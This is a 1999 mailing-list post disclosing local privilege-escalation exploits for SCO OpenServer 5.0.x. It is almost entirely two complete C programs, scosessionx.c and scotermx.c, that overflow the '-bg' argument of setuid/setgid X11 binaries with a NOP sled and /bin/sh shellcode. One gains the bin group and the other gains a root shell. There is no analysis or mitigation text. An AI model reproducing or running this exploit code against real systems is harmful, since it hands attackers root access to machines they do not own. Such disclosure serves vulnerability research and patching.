SCO 5.0.x scosession local exploit
Date: Wed, 22 Sep 1999 20:27:51 -0500
From: Brock Tellier <[email protected]>
To: [email protected]
Subject: SCO 5.0.x scosession local exploit
Greetings,
More SCO 5.0.x exploits, this time for scosession and scoterm.
You'll only get egid=2(bin) out of scosession, but root for scoterm.
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
--- scosessionx.c ---
/* SCO 5.0.x
* scosession local bin exploit (sgid bin)
* Will set egid=2(bin)
*
* gcc -o scosessionx scosessionx.c
*
* ./scosessionx <offset> <bufsiz>
*
* Brock Tellier [email protected]
*/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* [email protected] */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 10000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=9000;
buflen=2000;
}
addr=get_sp();
fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.x\n");
fprintf(stderr, "By Brock Tellier [email protected]\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr-offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);
}
------
--- scotermx.c ---
/*
* scoterm local root exploit
*
*
* gcc -o scotermx scotermx.c
*
* ./scotermx <offset> <bufsiz>
*
* Brock Tellier [email protected]
*/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* [email protected] */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 10000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=9000;
buflen=2000;
}
addr=get_sp();
fprintf(stderr, "scoterm local exploit for SCO OpenServer 5.0.x\n");
fprintf(stderr, "By Brock Tellier [email protected]\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr-offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/X11/scoterm", "scoterm", "-bg", buf, NULL);
}
------
